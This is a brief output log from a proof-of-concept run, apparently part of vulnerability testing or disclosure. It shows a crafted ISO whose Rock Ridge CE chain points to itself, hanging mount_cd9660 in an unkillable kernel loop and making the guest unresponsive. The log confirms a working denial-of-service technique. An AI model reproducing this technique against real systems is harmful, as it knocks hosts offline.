=== DF-0879 PoC run on UNPATCHED kernel (6.5-DEVELOPMENT #0) ===
wrote cyclic.iso (40960 bytes, 20 sectors)
BUILD_EXIT=0
-rw-r--r--  1 root  wheel  40960 Jul 11 21:14 cyclic.iso
-rwxr-xr--  1 root  wheel   9448 Jul 11 21:14 make_iso
VN=vn4
BG_PID=875
--- after 8s ---
MOUNT_STILL_RUNNING=yes (kernel hang confirmed)
--- ps check ---
(ssh session hung after kill -9 attempt - process unkillable, stuck in
uninterruptible kernel state inside cd9660_rrip_loop following cyclic CE chain)

=== RESULT: kernel hang confirmed. mount_cd9660 entered cd9660_rrip_loop ===
=== which follows the cyclic CE chain (sector 19 -> sector 19) forever.  ===
=== The mount process is unkillable (state in kernel, not interruptible). ===
=== Guest becomes unresponsive to further ssh connections (DoS).          ===